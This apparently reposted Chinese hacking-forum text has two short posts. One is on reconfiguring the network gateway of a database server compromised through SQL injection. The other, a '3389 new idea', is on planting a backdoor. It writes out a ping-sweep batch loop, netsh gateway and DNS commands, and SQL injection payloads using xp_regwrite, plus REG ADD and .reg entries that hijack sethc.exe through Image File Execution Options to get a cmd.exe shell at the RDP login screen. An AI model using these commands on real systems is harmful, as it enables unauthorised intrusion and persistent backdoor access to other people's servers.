CMD下设置网关

作者:Innfen

上次导数据库的时候不幸把这个导丢了,今天刚好注射攻击的时候,那数据库机器没设置网关,那就自己加一个先试试看了,搞不好可以直接上网了,网关的ip不知道,只好写个批处理来探测,看运气咯

FOR /L %I in (1,1,255) DO PING 192.168.1.%I -n 1 -w 100 >> c:\ping.txt

然后查看ping.txt的结果,一台一台测试过去
for /l %p in (1,1,254) do @ping 192.168.1.%p -n 1 |find ”reply from” /i  >>c:\ping.txt

上面这条命令可以把能ping通的机器单独整理出来
修改网关的命令如下:
cmd /c netsh interface ip set address name=” 本地连 接” source=static addr=192.168.1.100 mask=255.255.255.0 gateway=192.168.1.1 gwmetric=1

修改DNS
cmd /c netsh interface ip set dns name=”本地连接” source=static addr=61.134.1.9

3389新思路

版权所有:BK瞬间群
作者:BK群某饮料

1.能修改注册表
2.能访问3389

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--

 

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','';--
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d "c:\windows\system32\cmd.exe" on /f
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethcasd.exe]
"debugger"="c:\\windows\\system32\\cmd.exe on"

regedit

/s             导入 .reg 文件进注册表(安静模式)

/e             导出注册表文件

例:regedit /e filename.reg HKEY_LOCAL_MACHINE//SYSTEM

magnify.exe

osk.exe

sethc.exe